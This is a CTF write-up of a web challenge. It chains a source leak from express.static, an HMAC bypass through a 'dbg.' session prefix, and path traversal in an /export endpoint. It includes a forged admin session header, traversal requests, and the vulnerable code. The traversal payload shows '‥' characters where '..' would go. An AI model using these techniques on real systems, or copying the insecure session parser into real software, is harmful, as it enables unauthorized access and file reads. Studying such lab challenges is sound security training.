>/posts/Session slip $

Estimated reading time: 11 minutes


Description

A small internal dashboard exposes a homegrown session gateway. Find out how its custom session format is built, forge your way in, and see what else it lets you reach.


Session Slip

Over the past weekend I was casually playing some CTFs. This time I participated in Athena CTF and tried to solve a few of the Web challenges. One of them was labeled medium, though in my opinion it sat closer to easy, but it chains three distinct bugs, so the label is defensible. Here is my approach to solving it.

TL;DR of the chain: source leak via express.static → authentication bypass via the dbg. session prefix → path traversal in /export → flag.

First steps

There were no files attached to this task, and the root path only returned a minimal JSON response (a "session gateway" banner with (role: guest). So I started with a quick scan using FFuF and the raft-medium-words.txt dictionary, which found a couple of paths returning 403 and 301/200 statuses.

.\ffuf.exe -u http://server/FUZZ -w .\raft-medium-words.txt -mc all -fc 404 -e .json,.txt,.js

ss1

Endpoints like /admin and /export returned 403 meaning they exist but are gated behind some authorization check. That already hinted at the goal: get past the role check.

Leaking the source via express.static

Among the discovered files there was one named server.js`, and it turned out the server was exposing its own source code. The reason is specific and worth naming: the application registers

app.use(express.static(__dirname));

Pointing express.static at __dirname serves the entire application directory as static content, including the source files themselves. So instead of getting the code from task attachments, I could just read it directly.

The most important part for me was the function responsible for deciding whether a user is an admin.

ss2

function parseSession(rawToken) {
  if (!rawToken) {
    return { role: 'guest' };
  }
  if (rawToken.startsWith('dbg.')) {
    const body = Buffer.from(rawToken.slice(4), 'base64').toString('utf8');
    return JSON.parse(body);
  }
  const [payload, digest] = rawToken.split('.');
  if (!payload || !digest || sign(payload) !== digest) {
    return { role: 'guest' };
  }
  return JSON.parse(Buffer.from(payload, 'base64').toString('utf8'));
}

Authentication bypass

The session is passed in an X-Session header. Normally a token is base64(JSON).hmacsha256hex, and the server rejects it unless the HMAC signature matches (sign(payload) !== digest). But there is a debug branch: if the token starts with dbg., the server skips signature verification entirely and it just base64-decodes the rest and trusts whatever JSON it finds. Worth noting there were actually two ways in: even without the dbg. branch, the signing key is hardcoded in the source (SESSION_KEY = 'orchid'), so I could have forged a properly signed token myself. The dbg. path is just the shorter route.

The payload I wanted, before encoding, was:

{"user":"admin","role":"admin"}

That JSON has to be base64-encoded and prefixed with dbg., so the final header looks like this:

X-Session: dbg.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ==

Sending that against /admin returned 200 with a "welcome back" message so the role check was bypassed!

Path traversal in /export

Even though I was now authorized as an admin and could use all the functionality, I still needed to figure out how to get the flag. It didn't take long.

app.get('/export', (req, res) => {
  const session = parseSession(req.headers['x-session']);
  if (session.role !== 'admin') {
    return res.status(403).json({ error: 'forbidden' });
  }
  const name = req.query.file || 'admin.txt';
  const target = path.join(NOTES_DIR, name);
  fs.readFile(target, 'utf8', (err, data) => {
    if (err) {
      return res.status(404).json({ error: 'not found' });
    }
    res.json({ file: name, content: data });
  });
});

The endpoint takes the file parameter straight from the user and passes it into path.join(NOTES_DIR, name) without any normalization or sanitization, so we can escape the notes/ directory with ‥/ sequences and read files above it.

My first attempt with ‥/flag.txt returned not found and that lands in the application directory, one level up from notes/, and the flag wasn't there. Going one level higher worked:

GET /export?file=‥/‥/flag.txt

ss3

Wrap-up

A compact three stage chain: an express.static misconfiguration leaks the source, a debug branch in the custom session parser lets you skip signature verification and forge an admin token, and an unsanitized path.join in /export gives arbitrary file read. The main takeaway is that serving an application's own directory as static content, and leaving debug shortcuts in an auth path are mistakes that reach well beyond CTFs.

Comments (0)

There is no comments yet, add first!

Please log in to add a comment.

X